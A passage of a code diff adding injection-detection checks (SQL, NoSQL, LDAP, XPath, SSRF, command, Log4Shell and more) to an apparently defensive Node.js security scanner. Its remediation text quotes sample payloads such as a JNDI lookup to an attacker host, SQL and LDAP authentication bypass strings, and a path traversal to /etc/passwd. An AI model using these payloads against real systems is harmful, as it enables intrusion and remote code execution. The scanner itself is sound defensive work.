+
const unsafeExtended = extendedHits.filter((h) => !/replace\s*\(.*\\r|replace\s*\(.*\\n|sanitize|encodeURIComponent|allowlist|validateRedirect/.test(h.preview));
|
|
198
|
+
if (unsafeExtended.length) {
|
|
199
|
+
findings.push({
|
|
200
|
+
id: "HTTP_HEADER_INJECTION",
|
|
201
|
+
title: "HTTP header/cookie injection — user value written to response cookie, header, or location (CWE-113)",
|
|
202
|
+
severity: "HIGH",
|
|
203
|
+
evidence: toEvidence(unsafeExtended),
|
|
204
|
+
files: toFiles(unsafeExtended),
|
|
205
|
+
requiredActions: [
|
|
206
|
+
String.raw `Strip \r and \n from user-controlled values before writing to cookies, headers, or redirect locations.`,
|
|
207
|
+
"CWE-113 / CWE-601 — header injection via CRLF enables response splitting, session fixation, and open redirect.",
|
|
208
|
+
String.raw `Fix: const safe = value.replace(/[\r\n]/g, ''); res.cookie('name', safe, { httpOnly: true, secure: true });`
|
|
209
|
+
]
|
|
210
|
+
});
|
|
211
|
+
}
|
|
212
|
+
return findings;
|
|
213
|
+
}
|
|
214
|
+
async function checkYamlUnsafeLoad() {
|
|
215
|
+
const hits = await codeSearch(String.raw `yaml\.load\s*\((?!.*FAILSAFE_SCHEMA)(?!.*JSON_SCHEMA)(?!.*CORE_SCHEMA)|jsYaml\.load\s*\((?!.*schema)|require\s*\(['"]js-yaml['"]\)\.load\s*\(`);
|
|
216
|
+
if (!hits.length)
|
|
217
|
+
return null;
|
|
218
|
+
return {
|
|
219
|
+
id: "YAML_UNSAFE_LOAD",
|
|
220
|
+
title: "js-yaml load() without safe schema — arbitrary code execution risk (CWE-502)",
|
|
221
|
+
severity: "CRITICAL",
|
|
222
|
+
evidence: toEvidence(hits),
|
|
223
|
+
files: toFiles(hits),
|
|
224
|
+
requiredActions: [
|
|
225
|
+
"Use yaml.load(str, { schema: yaml.FAILSAFE_SCHEMA }) or yaml.safeLoad() (js-yaml v3).",
|
|
226
|
+
"CWE-502 — js-yaml default schema executes JS functions embedded in YAML (!!js/function).",
|
|
227
|
+
"For js-yaml v4+: safeLoad was removed; use load() which is safe by default — verify version."
|
|
228
|
+
]
|
|
229
|
+
};
|
|
230
|
+
}
|
|
231
|
+
async function checkUnsafeDeserialize() {
|
|
232
|
+
const hits = await codeSearch(String.raw `(?:node-serialize\.unserialize|serialize\.unserialize|unserialize\s*\(|new\s+Function\s*\(\s*(?:req\.|body\.|params\.|data\.|input)|eval\s*\(\s*(?:req\.|body\.|params\.|data\.|Buffer\.from|atob\())`);
|
|
233
|
+
if (!hits.length)
|
|
234
|
+
return null;
|
|
235
|
+
return {
|
|
236
|
+
id: "DESERIALIZE_UNSAFE",
|
|
237
|
+
title: "Unsafe deserialization of user input (CWE-502)",
|
|
238
|
+
severity: "CRITICAL",
|
|
239
|
+
evidence: toEvidence(hits),
|
|
240
|
+
files: toFiles(hits),
|
|
241
|
+
requiredActions: [
|
|
242
|
+
"Never deserialize untrusted data with node-serialize, eval(), or new Function().",
|
|
243
|
+
"CWE-502 / ATT&CK T1059 — deserialization gadget chains achieve RCE without user interaction.",
|
|
244
|
+
"Fix: use JSON.parse() with a Zod schema for structured data; for binary formats use a safe decoder with a strict schema."
|
|
245
|
+
]
|
|
246
|
+
};
|
|
247
|
+
}
|
|
248
|
+
async function checkPathTraversal() {
|
|
249
|
+
const hits = await codeSearch(String.raw `path\.(?:join|resolve)\s*\([^)]*(?:req\.|body\.|params\.|query\.|filename|filepath|file_path|filePath|fileName)[^)]*\)`);
|
|
250
|
+
const unsafe = hits.filter((h) => !/normalize|startsWith|indexOf\s*\(base|resolve.*startsWith|\.includes\s*\(['"]\.\.['"]|path\.sep/.test(h.preview));
|
|
251
|
+
if (!unsafe.length)
|
|
252
|
+
return null;
|
|
253
|
+
return {
|
|
254
|
+
id: "PATH_TRAVERSAL_JOIN",
|
|
255
|
+
title: "Path traversal — path.join() with user input without prefix verification (CWE-22)",
|
|
256
|
+
severity: "HIGH",
|
|
257
|
+
evidence: toEvidence(unsafe),
|
|
258
|
+
files: toFiles(unsafe),
|
|
259
|
+
requiredActions: [
|
|
260
|
+
"After path.join(), verify the resolved path starts with the intended base directory.",
|
|
261
|
+
"CWE-22 / ATT&CK T1083 — ../../etc/passwd reads arbitrary files on the server.",
|
|
262
|
+
"Fix: const full = path.resolve(BASE_DIR, userFilename); if (!full.startsWith(BASE_DIR + path.sep)) throw new Error('Invalid path');"
|
|
263
|
+
]
|
|
264
|
+
};
|
|
265
|
+
}
|
|
266
|
+
async function checkLogInjection() {
|
|
267
|
+
const hits = await codeSearch(String.raw `(?:console\.(?:log|warn|error|info)|logger\.(?:log|warn|error|info|debug)|log\.(?:info|warn|error|debug))\s*\([^)]*(?:req\.|body\.|params\.|query\.|headers\.|user\.|username|email|ip\b)`);
|
|
268
|
+
const unsafe = hits.filter((h) => !/replace\s*\(.*\\n|replace\s*\(.*\\r|sanitize|JSON\.stringify|inspect\s*\(/.test(h.preview));
|
|
269
|
+
if (!unsafe.length)
|
|
270
|
+
return null;
|
|
271
|
+
return {
|
|
272
|
+
id: "LOG_INJECTION",
|
|
273
|
+
title: "Log injection — user-controlled string written to logs without newline sanitization (CWE-117)",
|
|
274
|
+
severity: "MEDIUM",
|
|
275
|
+
evidence: toEvidence(unsafe),
|
|
276
|
+
files: toFiles(unsafe),
|
|
277
|
+
requiredActions: [
|
|
278
|
+
String.raw `Strip or encode \n and \r from user-controlled values before logging.`,
|
|
279
|
+
"CWE-117 — log injection forges log entries, erasing evidence of attacks or injecting false audit trails.",
|
|
280
|
+
String.raw `Fix: logger.info('Login attempt', { username: username.replace(/[\r\n]/g, '_') });`
|
|
281
|
+
]
|
|
282
|
+
};
|
|
283
|
+
}
|
|
284
|
+
async function checkSsrfUserUrl() {
|
|
285
|
+
const hits = await codeSearch(String.raw `(?:fetch|axios\.(?:get|post|put|delete|request)|https?\.(?:get|request)|got\s*\(|needle\.(?:get|post)|superagent\.(?:get|post))\s*\(\s*(?:req\.|body\.|params\.|query\.|url\b|webhook|endpoint|target|callback|proxy)`);
|
|
286
|
+
const unsafe = hits.filter((h) => !/allowedHosts|SSRF_GUARD|validateUrl|isAllowedUrl|new URL.*hostname|URL_ALLOWLIST/.test(h.preview));
|
|
287
|
+
if (!unsafe.length)
|
|
288
|
+
return null;
|
|
289
|
+
return {
|
|
290
|
+
id: "SSRF_USER_URL",
|
|
291
|
+
title: "SSRF — HTTP request to user-controlled URL without allowlist (CWE-918)",
|
|
292
|
+
severity: "CRITICAL",
|
|
293
|
+
evidence: toEvidence(unsafe),
|
|
294
|
+
files: toFiles(unsafe),
|
|
295
|
+
requiredActions: [
|
|
296
|
+
"Validate the URL hostname against an explicit allowlist before making server-side HTTP requests.",
|
|
297
|
+
"CWE-918 / ATT&CK T1090 — SSRF reaches 169.254.169.254 for cloud metadata, internal services, and localhost.",
|
|
298
|
+
"Fix: const { hostname } = new URL(userUrl); if (!ALLOWED_HOSTS.includes(hostname)) throw new Error('Blocked');"
|
|
299
|
+
]
|
|
300
|
+
};
|
|
301
|
+
}
|
|
302
|
+
async function checkCommandInjection() {
|
|
303
|
+
const hits = await codeSearch(String.raw `(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*(?:['"][^'"]*\$\{|req\.|body\.|params\.|query\.|input\b|cmd\b|command\b|shell\b)|shell\s*:\s*true`);
|
|
304
|
+
const unsafe = hits.filter((h) => !/allowedCommands|COMMAND_ALLOWLIST|execFile\s*\(\s*['"][^'"]+['"]\s*,\s*\[/.test(h.preview));
|
|
305
|
+
if (!unsafe.length)
|
|
306
|
+
return null;
|
|
307
|
+
return {
|
|
308
|
+
id: "COMMAND_INJECTION",
|
|
309
|
+
title: "Command injection — child_process called with user-controlled input or shell:true (CWE-78)",
|
|
310
|
+
severity: "CRITICAL",
|
|
311
|
+
evidence: toEvidence(unsafe),
|
|
312
|
+
files: toFiles(unsafe),
|
|
313
|
+
requiredActions: [
|
|
314
|
+
"Use execFile() with a static path and an array of validated arguments — never string concatenation.",
|
|
315
|
+
String.raw `CWE-78 / ATT&CK T1059 — command injection achieves full OS compromise via shell metacharacters (;, |, $(), \n).`,
|
|
316
|
+
"Fix: execFile('/usr/bin/convert', ['-resize', validatedSize, inputFile, outputFile], { shell: false });"
|
|
317
|
+
]
|
|
318
|
+
};
|
|
319
|
+
}
|
|
320
|
+
async function checkRedos() {
|
|
321
|
+
const findings = [];
|
|
322
|
+
// Original: new RegExp from user input
|
|
323
|
+
const dynHits = await codeSearch(String.raw `new\s+RegExp\s*\(\s*(?:req\.|body\.|params\.|query\.|user\.|input\b|pattern\b|search\b|filter\b)`);
|
|
324
|
+
if (dynHits.length) {
|
|
325
|
+
findings.push({
|
|
326
|
+
id: "REDOS_USER_REGEXP",
|
|
327
|
+
title: "ReDoS — user-controlled input used to construct RegExp — catastrophic backtracking (CWE-1333)",
|
|
328
|
+
severity: "HIGH",
|
|
329
|
+
evidence: toEvidence(dynHits),
|
|
330
|
+
files: toFiles(dynHits),
|
|
331
|
+
requiredActions: [
|
|
332
|
+
"Never construct RegExp from user input. Escape with escape-string-regexp, or use string.includes() / startsWith().",
|
|
333
|
+
"CWE-1333 / ATT&CK T1499 — a crafted pattern like (a+)+ causes exponential backtracking that hangs the Node.js event loop.",
|
|
334
|
+
"Fix: const safe = escapeStringRegexp(userInput); const re = new RegExp(safe);"
|
|
335
|
+
]
|
|
336
|
+
});
|
|
337
|
+
}
|
|
338
|
+
// Static regex with catastrophic backtracking patterns applied to user input
|
|
339
|
+
const staticReHits = await codeSearch(String.raw `\/(?:[^\/]*\([^)]*[+*][^)]*\)[+*][^\/]*|[^\/]*\([^)]*[+*][^)]*\)\{[0-9,]+\}[^\/]*|[^\/]*(?:a\|aa|a\+b|\w\+\s\*)[^\/]*)[+*?]?\/[gimsuy]*\s*\.\s*(?:test|match|exec)\s*\(\s*(?:req\.|body\.|params\.|query\.)`);
|
|
340
|
+
if (staticReHits.length) {
|
|
341
|
+
findings.push({
|
|
342
|
+
id: "REDOS_STATIC_PATTERN",
|
|
343
|
+
title: "ReDoS — static regex with catastrophic backtracking pattern applied to user input (CWE-1333)",
|
|
344
|
+
severity: "HIGH",
|
|
345
|
+
evidence: toEvidence(staticReHits),
|
|
346
|
+
files: toFiles(staticReHits),
|
|
347
|
+
requiredActions: [
|
|
348
|
+
"Audit regex for nested quantifiers (e.g. (a+)+, (\\w+\\s*)+, (a|aa)+) — these cause exponential backtracking.",
|
|
349
|
+
"CWE-1333 / ATT&CK T1499 — a malicious input string can hang the Node.js event loop for seconds per request.",
|
|
350
|
+
"Fix: use a safe regex library (re2) or rewrite the pattern to eliminate ambiguity; add an input length limit."
|
|
351
|
+
]
|
|
352
|
+
});
|
|
353
|
+
}
|
|
354
|
+
return findings;
|
|
355
|
+
}
|
|
356
|
+
async function checkJsonpCallbackInjection() {
|
|
357
|
+
const hits = await codeSearch(String.raw `res\.(?:send|end|write)\s*\(\s*(?:req\.|query\.|params\.)(?:callback|jsonp|cb)\s*\+`);
|
|
358
|
+
if (!hits.length)
|
|
359
|
+
return null;
|
|
360
|
+
return {
|
|
361
|
+
id: "JSONP_CALLBACK_INJECTION",
|
|
362
|
+
title: "JSONP callback parameter reflected without validation — XSS via function name (CWE-79)",
|
|
363
|
+
severity: "HIGH",
|
|
364
|
+
evidence: toEvidence(hits),
|
|
365
|
+
files: toFiles(hits),
|
|
366
|
+
requiredActions: [
|
|
367
|
+
"Validate the callback parameter against /^[a-zA-Z_$][a-zA-Z0-9_$.]*$/ before reflecting it in a JSONP response.",
|
|
368
|
+
"CWE-79 — an unvalidated callback like alert(document.cookie) is executed when the browser loads the JSONP response.",
|
|
369
|
+
String.raw `Fix: Remove JSONP and use CORS instead. If JSONP is required: if (!/^[\w$.]+$/.test(cb)) return res.status(400).end();`,
|
|
370
|
+
]
|
|
371
|
+
};
|
|
372
|
+
}
|
|
373
|
+
async function checkEvalEncodedPayload() {
|
|
374
|
+
const hits = await codeSearch(String.raw `eval\s*\(\s*(?:atob|Buffer\.from[^)]*base64|decode|decodeURIComponent)\s*\(`);
|
|
375
|
+
if (!hits.length)
|
|
376
|
+
return null;
|
|
377
|
+
return {
|
|
378
|
+
id: "EVAL_ENCODED_PAYLOAD",
|
|
379
|
+
title: "eval() with decoded/deserialized payload — obfuscated code execution (CWE-95)",
|
|
380
|
+
severity: "CRITICAL",
|
|
381
|
+
evidence: toEvidence(hits),
|
|
382
|
+
files: toFiles(hits),
|
|
383
|
+
requiredActions: [
|
|
384
|
+
"Remove eval() entirely. Use JSON.parse() for structured data; import() with a static specifier for modules.",
|
|
385
|
+
"CWE-95 / ATT&CK T1027 — base64-encoding evades naive static analysis; eval executes arbitrary JavaScript.",
|
|
386
|
+
"Fix: const data = JSON.parse(Buffer.from(encoded, 'base64').toString('utf-8')); // never eval()"
|
|
387
|
+
]
|
|
388
|
+
};
|
|
389
|
+
}
|
|
390
|
+
// ─── NEW CHECKS ──────────────────────────────────────────────────────────────
|
|
391
|
+
async function checkSqlInjection() {
|
|
392
|
+
const findings = [];
|
|
393
|
+
// Direct SQL keyword + template literal interpolation
|
|
394
|
+
const templateSqlHits = await codeSearch(String.raw `(?:SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|EXEC(?:UTE)?|UNION|TRUNCATE)[^'";\n]*\$\{`);
|
|
395
|
+
if (templateSqlHits.length) {
|
|
396
|
+
findings.push({
|
|
397
|
+
id: "SQL_INJECTION",
|
|
398
|
+
title: "SQL injection — SQL keyword with template literal interpolation (CWE-89)",
|
|
399
|
+
severity: "CRITICAL",
|
|
400
|
+
evidence: toEvidence(templateSqlHits),
|
|
401
|
+
files: toFiles(templateSqlHits),
|
|
402
|
+
requiredActions: [
|
|
403
|
+
"Never interpolate user input into SQL strings. Use parameterized queries or prepared statements exclusively.",
|
|
404
|
+
"CWE-89 / ATT&CK T1190 — SQL injection enables authentication bypass, data exfiltration, and database destruction.",
|
|
405
|
+
"Fix: db.query('SELECT * FROM users WHERE id = $1', [userId]) or use an ORM with parameterized inputs."
|
|
406
|
+
]
|
|
407
|
+
});
|
|
408
|
+
}
|
|
409
|
+
// SQL keyword + string concatenation with user input
|
|
410
|
+
const concatSqlHits = await codeSearch(String.raw `(?:SELECT|INSERT|UPDATE|DELETE)[^'";\n]*['"]\s*\+\s*(?:req\.|body\.|params\.|query\.|\w+Id\b|\w+Name\b)`);
|
|
411
|
+
if (concatSqlHits.length) {
|
|
412
|
+
findings.push({
|
|
413
|
+
id: "SQL_INJECTION_CONCAT",
|
|
414
|
+
title: "SQL injection — SQL query built via string concatenation with user input (CWE-89)",
|
|
415
|
+
severity: "CRITICAL",
|
|
416
|
+
evidence: toEvidence(concatSqlHits),
|
|
417
|
+
files: toFiles(concatSqlHits),
|
|
418
|
+
requiredActions: [
|
|
419
|
+
"Replace string concatenation in SQL queries with parameterized queries or prepared statements.",
|
|
420
|
+
"CWE-89 / ATT&CK T1190 — ' OR '1'='1 via string concatenation bypasses authentication entirely.",
|
|
421
|
+
"Fix: use db.query('SELECT * FROM users WHERE name = ?', [name]) — never string concatenation."
|
|
422
|
+
]
|
|
423
|
+
});
|
|
424
|
+
}
|
|
425
|
+
// ORM raw query escape hatches
|
|
426
|
+
// Note: $queryRaw/`...` is a safe Prisma tagged template (parameterized automatically).
|
|
427
|
+
// Only flag the function-call form $queryRaw( which bypasses the tagged-template safety guarantee.
|
|
428
|
+
const ormRawHits = await codeSearch(String.raw `(?:\$queryRaw\s*\(|\$executeRaw\s*\(|sequelize\.query\s*\(|Sequelize\.literal\s*\(|knex\.raw\s*\(|\.query\s*\(\s*[\x60'"][^\x60'"]*\$\{)`);
|
|
429
|
+
if (ormRawHits.length) {
|
|
430
|
+
findings.push({
|
|
431
|
+
id: "ORM_RAW_INJECTION",
|
|
432
|
+
title: "ORM raw query escape hatch — potential SQL injection via Prisma/Sequelize/Knex raw (CWE-89)",
|
|
433
|
+
severity: "CRITICAL",
|
|
434
|
+
evidence: toEvidence(ormRawHits),
|
|
435
|
+
files: toFiles(ormRawHits),
|
|
436
|
+
requiredActions: [
|
|
437
|
+
"Use ORM parameterized APIs: Prisma.sql tagged template, sequelize query with replacements array, knex bindings.",
|
|
438
|
+
"CWE-89 — $queryRaw with template literals or Sequelize.literal() bypass ORM query sanitization.",
|
|
439
|
+
"Fix (Prisma): prisma.$queryRaw`SELECT * FROM User WHERE id = ${userId}` — always use Prisma.sql or tagged template."
|
|
440
|
+
]
|
|
441
|
+
});
|
|
442
|
+
}
|
|
443
|
+
// TypeORM createQueryBuilder .where() with template literal
|
|
444
|
+
const typeormHits = await codeSearch(String.raw `createQueryBuilder\(\)[^;]*\.where\s*\(\s*[\x60'"][^\x60'"]*\$\{`);
|
|
445
|
+
if (typeormHits.length) {
|
|
446
|
+
const existingOrmFiles = new Set(ormRawHits.map((h) => h.file));
|
|
447
|
+
const newHits = typeormHits.filter((h) => !existingOrmFiles.has(h.file));
|
|
448
|
+
if (newHits.length) {
|
|
187
449
|
findings.push({
|
|
188
|
-
id: "
|
|
189
|
-
title: "
|
|
450
|
+
id: "ORM_RAW_INJECTION_TYPEORM",
|
|
451
|
+
title: "TypeORM createQueryBuilder with interpolated .where() clause — SQL injection risk (CWE-89)",
|
|
190
452
|
severity: "CRITICAL",
|
|
191
|
-
evidence:
|
|
192
|
-
files:
|
|
453
|
+
evidence: toEvidence(newHits),
|
|
454
|
+
files: toFiles(newHits),
|
|
193
455
|
requiredActions: [
|
|
194
|
-
"
|
|
195
|
-
"CWE-
|
|
196
|
-
"Fix:
|
|
456
|
+
"Use TypeORM parameterized .where('field = :param', { param: value }) — never template literals in .where().",
|
|
457
|
+
"CWE-89 — template literal interpolation in TypeORM .where() bypasses query parameterization.",
|
|
458
|
+
"Fix: .where('user.id = :id', { id: userId }) instead of .where(`user.id = ${userId}`)."
|
|
197
459
|
]
|
|
198
460
|
});
|
|
199
461
|
}
|
|
200
462
|
}
|
|
463
|
+
return findings;
|
|
464
|
+
}
|
|
465
|
+
async function checkMongoAggregationInjection() {
|
|
466
|
+
// Search for .aggregate() calls in the same files as dangerous operators
|
|
467
|
+
const aggregateHits = await codeSearch(String.raw `\.aggregate\s*\(\s*\[`);
|
|
468
|
+
const dangerousOpHits = await codeSearch(String.raw `\$where|\$function|\$accumulator`);
|
|
469
|
+
const aggregateFiles = new Set(aggregateHits.map((h) => h.file));
|
|
470
|
+
const dangerousFiles = dangerousOpHits.filter((h) => aggregateFiles.has(h.file));
|
|
471
|
+
// Also check for $expr in aggregate context (inline)
|
|
472
|
+
const exprHits = await codeSearch(String.raw `\.aggregate\s*\(\s*\[[^\]]*\$expr`);
|
|
473
|
+
// Direct $where in .find()
|
|
474
|
+
const findWhereHits = await codeSearch(String.raw `\.find\s*\(\s*\{[^}]*\$where`);
|
|
475
|
+
const allHits = [...dangerousFiles, ...exprHits, ...findWhereHits];
|
|
476
|
+
if (!allHits.length)
|
|
477
|
+
return null;
|
|
478
|
+
return {
|
|
479
|
+
id: "NOSQL_AGGREGATE_INJECTION",
|
|
480
|
+
title: "MongoDB aggregation with $where/$function/$expr/$accumulator — NoSQL injection risk (CWE-943)",
|
|
481
|
+
severity: "CRITICAL",
|
|
482
|
+
evidence: toEvidence(allHits),
|
|
483
|
+
files: toFiles(allHits),
|
|
484
|
+
requiredActions: [
|
|
485
|
+
"Avoid $where, $function, and $accumulator with user-controlled data — these execute JavaScript on the MongoDB server.",
|
|
486
|
+
"CWE-943 / ATT&CK T1190 — $where: 'sleep(5000)' causes DoS; $function can execute arbitrary server-side JS.",
|
|
487
|
+
"Fix: replace $where with MongoDB operators ($eq, $gt, $in, etc.); if $function is required, validate all inputs strictly with Zod."
|
|
488
|
+
]
|
|
489
|
+
};
|
|
490
|
+
}
|
|
491
|
+
async function checkLdapInjection() {
|
|
492
|
+
const ldapLibHits = await codeSearch(String.raw `require\s*\(\s*['"](?:ldapjs|ldapts|activedirectory)['"]\)`);
|
|
493
|
+
if (!ldapLibHits.length)
|
|
494
|
+
return null;
|
|
495
|
+
const filterHits = await codeSearch(String.raw `(?:\(uid=.*req\.|filter.*\+.*req\.|dn.*\+.*req\.|searchFilter.*\+|filter\s*=\s*[\x60'"][^\x60'"]*\$\{)`);
|
|
496
|
+
if (!filterHits.length)
|
|
497
|
+
return null;
|
|
498
|
+
return {
|
|
499
|
+
id: "LDAP_INJECTION",
|
|
500
|
+
title: "LDAP injection — user input concatenated into LDAP filter string (CWE-90)",
|
|
501
|
+
severity: "HIGH",
|
|
502
|
+
evidence: toEvidence(filterHits),
|
|
503
|
+
files: toFiles(filterHits),
|
|
504
|
+
requiredActions: [
|
|
505
|
+
"Escape all special LDAP characters in user input: ( ) * \\ NUL and slashes before constructing filter strings.",
|
|
506
|
+
"CWE-90 — LDAP injection via (*)(uid=*))(|(uid=* bypasses authentication and dumps directory contents.",
|
|
507
|
+
"Fix: use ldapjs escape: const safe = ldap.searchFilterEscape(userInput); or validate input strictly before use."
|
|
508
|
+
]
|
|
509
|
+
};
|
|
510
|
+
}
|
|
511
|
+
async function checkXpathInjection() {
|
|
512
|
+
const xpathLibHits = await codeSearch(String.raw `require\s*\(\s*['"]xpath['"]|xpath\.select|xpath\.evaluate|XPathEvaluator`);
|
|
513
|
+
if (!xpathLibHits.length)
|
|
514
|
+
return null;
|
|
515
|
+
const injectionHits = await codeSearch(String.raw `(?:xpath.*\+.*req\.|select\s*\([^)]*req\.|evaluate\s*\([^)]*req\.|xpath\s*=\s*[\x60'"][^\x60'"]*\$\{[^\x60'"]*(?:req|body|params|query))`);
|
|
516
|
+
if (!injectionHits.length)
|
|
517
|
+
return null;
|
|
518
|
+
return {
|
|
519
|
+
id: "XPATH_INJECTION",
|
|
520
|
+
title: "XPath injection — user input concatenated into XPath expression (CWE-643)",
|
|
521
|
+
severity: "HIGH",
|
|
522
|
+
evidence: toEvidence(injectionHits),
|
|
523
|
+
files: toFiles(injectionHits),
|
|
524
|
+
requiredActions: [
|
|
525
|
+
"Use parameterized XPath queries or escape all XPath special characters from user input.",
|
|
526
|
+
"CWE-643 — XPath injection via ' or '1'='1 bypasses authentication and exposes the full XML document.",
|
|
527
|
+
"Fix: use a parameterized XPath library or strictly validate/allowlist all user values used in XPath expressions."
|
|
528
|
+
]
|
|
529
|
+
};
|
|
530
|
+
}
|
|
531
|
+
async function checkJndiInjection() {
|
|
532
|
+
const findings = [];
|
|
533
|
+
// Direct JNDI lookup strings in code — CRITICAL
|
|
534
|
+
const jndiLiteralHits = await codeSearch(String.raw `\$\{jndi:`);
|
|
535
|
+
if (jndiLiteralHits.length) {
|
|
536
|
+
findings.push({
|
|
537
|
+
id: "LOG4SHELL_JNDI_LITERAL",
|
|
538
|
+
title: "JNDI lookup string found in codebase — Log4Shell/JNDI injection (CVE-2021-44228)",
|
|
539
|
+
severity: "CRITICAL",
|
|
540
|
+
evidence: toEvidence(jndiLiteralHits),
|
|
541
|
+
files: toFiles(jndiLiteralHits),
|
|
542
|
+
requiredActions: [
|
|
543
|
+
"Remove any ${jndi: strings from code immediately — these indicate either a test payload or live attack vector.",
|
|
544
|
+
"CVE-2021-44228 (Log4Shell) — JNDI lookup strings in log data trigger remote class loading and RCE.",
|
|
545
|
+
"Fix: update all logging frameworks; add JNDI sanitization filter to strip ${jndi: patterns from all user input."
|
|
546
|
+
]
|
|
547
|
+
});
|
|
548
|
+
}
|
|
549
|
+
// User input flowing into log calls without JNDI sanitization
|
|
550
|
+
const logUserInputHits = await codeSearch(String.raw `(?:logger\.\w+|console\.log)\s*\(\s*[\x60][^\x60]*\$\{(?:req|body|params|query)\.[^\x60]*[\x60]`);
|
|
551
|
+
const unsafeLogHits = logUserInputHits.filter((h) => !/jndi|sanitize|replace.*jndi|stripJndi|filterJndi/.test(h.preview));
|
|
552
|
+
if (unsafeLogHits.length) {
|
|
553
|
+
findings.push({
|
|
554
|
+
id: "LOG_JNDI_INJECTION_RISK",
|
|
555
|
+
title: "User input interpolated into log statement — JNDI injection risk if using Java logging or proxied to Log4j (CWE-117)",
|
|
556
|
+
severity: "HIGH",
|
|
557
|
+
evidence: toEvidence(unsafeLogHits),
|
|
558
|
+
files: toFiles(unsafeLogHits),
|
|
559
|
+
requiredActions: [
|
|
560
|
+
"Sanitize user input before logging — strip or encode ${jndi: patterns to prevent Log4Shell-style injection.",
|
|
561
|
+
"CWE-117 / CVE-2021-44228 — user-controlled ${jndi:ldap://attacker.com/x} in logs triggers JNDI lookup and RCE.",
|
|
562
|
+
String.raw `Fix: const safe = input.replace(/\$\{jndi:/gi, '[blocked:'); logger.info('Request: ' + safe);`
|
|
563
|
+
]
|
|
564
|
+
});
|
|
565
|
+
}
|
|
566
|
+
return findings;
|
|
567
|
+
}
|
|
568
|
+
async function checkRedisEvalInjection() {
|
|
569
|
+
// First check if any eval-like Redis calls exist at all
|
|
570
|
+
const evalHits = await codeSearch(String.raw `(?:\.eval\s*\(|EVAL\s+|evalsha\s*\(|EVALSHA\s*\()`);
|
|
571
|
+
if (!evalHits.length)
|
|
572
|
+
return null;
|
|
573
|
+
// Narrow to cases where user input appears in the eval call
|
|
574
|
+
const userInputHits = await codeSearch(String.raw `\.eval\s*\([^)]*(?:req\.|body\.|params\.|query\.)`);
|
|
575
|
+
if (!userInputHits.length)
|
|
576
|
+
return null;
|
|
577
|
+
return {
|
|
578
|
+
id: "REDIS_EVAL_INJECTION",
|
|
579
|
+
title: "Redis EVAL with user-controlled input — server-side Lua injection risk (CWE-95)",
|
|
580
|
+
severity: "HIGH",
|
|
581
|
+
evidence: toEvidence(userInputHits),
|
|
582
|
+
files: toFiles(userInputHits),
|
|
583
|
+
requiredActions: [
|
|
584
|
+
"Never pass user-controlled values as part of Redis EVAL Lua scripts — only pass them as KEYS or ARGV arguments.",
|
|
585
|
+
"CWE-95 — Redis EVAL executes Lua on the Redis server; injection can exfiltrate data or corrupt the dataset.",
|
|
586
|
+
"Fix: client.eval(STATIC_LUA_SCRIPT, numkeys, ...keys, ...argv) where argv contains user values, not the script itself."
|
|
587
|
+
]
|
|
588
|
+
};
|
|
589
|
+
}
|
|
590
|
+
async function checkSecondOrderInjection() {
|
|
591
|
+
// Two-pass file-correlation: avoids multiline regex that would trigger ReDoS
|
|
592
|
+
// detector and can never match in line-by-line search mode.
|
|
593
|
+
const dbHits = await codeSearch(String.raw `(?:findOne|findById|findAll|findMany|getUser|getRecord)\s*\(`);
|
|
594
|
+
if (!dbHits.length)
|
|
595
|
+
return null;
|
|
596
|
+
const dbFiles = new Set(dbHits.map((h) => h.file));
|
|
597
|
+
const sinkHits = await codeSearch(String.raw `(?:SELECT|INSERT|UPDATE|DELETE)\s*['"` + "`" + String.raw `]|exec\s*\(userInput|compile\s*\(userInput|render\s*\(userInput`);
|
|
598
|
+
const hits = sinkHits.filter((h) => dbFiles.has(h.file));
|
|
599
|
+
if (!hits.length)
|
|
600
|
+
return null;
|
|
601
|
+
return {
|
|
602
|
+
id: "SECOND_ORDER_INJECTION",
|
|
603
|
+
title: "Data retrieved from DB/store passed directly to SQL/template/shell sink without re-validation — second-order injection",
|
|
604
|
+
severity: "CRITICAL",
|
|
605
|
+
evidence: toEvidence(hits),
|
|
606
|
+
files: toFiles(hits),
|
|
607
|
+
requiredActions: [
|
|
608
|
+
"Treat data read from a database as untrusted — re-validate before passing to SQL, template, or shell sinks.",
|
|
609
|
+
"CWE-89 / CWE-94 / CWE-78 — second-order injection exploits stored user-controlled data after it bypasses first-pass input validation.",
|
|
610
|
+
"Fix: always sanitize or parameterize values returned from the DB before using them in downstream sinks."
|
|
611
|
+
]
|
|
612
|
+
};
|
|
613
|
+
}
|
|
614
|
+
async function checkSstiJavaPhp() {
|
|
615
|
+
const hits = await codeSearch(String.raw `(?:freemarker\.template|VelocityEngine|Template\.getInstance|cfg\.getTemplate|\$twig->render|\$smarty->display|mako\.template\.Template)\s*\([^)]*(?:request|req\.|userInput|getParam)`);
|
|
616
|
+
if (!hits.length)
|
|
617
|
+
return null;
|
|
618
|
+
return {
|
|
619
|
+
id: "SSTI_JAVA_PHP_ENGINES",
|
|
620
|
+
title: "Java/PHP template engine (Freemarker/Velocity/Twig/Smarty) compiles user input — SSTI RCE",
|
|
621
|
+
severity: "CRITICAL",
|
|
622
|
+
evidence: toEvidence(hits),
|
|
623
|
+
files: toFiles(hits),
|
|
624
|
+
requiredActions: [
|
|
625
|
+
"Never pass user input as the template source to Freemarker, Velocity, Twig, Smarty, or Mako.",
|
|
626
|
+
"CWE-94 / ATT&CK T1059 — SSTI in Java template engines enables RCE via expression evaluation (e.g. ${7*7} → arbitrary method calls).",
|
|
627
|
+
"Fix: load templates from the filesystem at startup; pass user data only as context variables, never as template source."
|
|
628
|
+
]
|
|
629
|
+
};
|
|
630
|
+
}
|
|
631
|
+
async function checkSpelOgnlInjection() {
|
|
632
|
+
const hits = await codeSearch(String.raw `(?:SpelExpressionParser|parseExpression|ExpressionParser|OgnlContext|Ognl\.getValue|Ognl\.parseExpression|MVEL\.eval)\s*\([^)]*(?:request\.getParameter|userInput|req\.)`);
|
|
633
|
+
if (!hits.length)
|
|
634
|
+
return null;
|
|
635
|
+
return {
|
|
636
|
+
id: "SPEL_OGNL_INJECTION",
|
|
637
|
+
title: "Spring SpEL/OGNL/MVEL expression parser evaluates user input — RCE via T(java.lang.Runtime)",
|
|
638
|
+
severity: "CRITICAL",
|
|
639
|
+
evidence: toEvidence(hits),
|
|
640
|
+
files: toFiles(hits),
|
|
641
|
+
requiredActions: [
|
|
642
|
+
"Never pass user-controlled input directly to SpEL, OGNL, or MVEL expression parsers.",
|
|
643
|
+
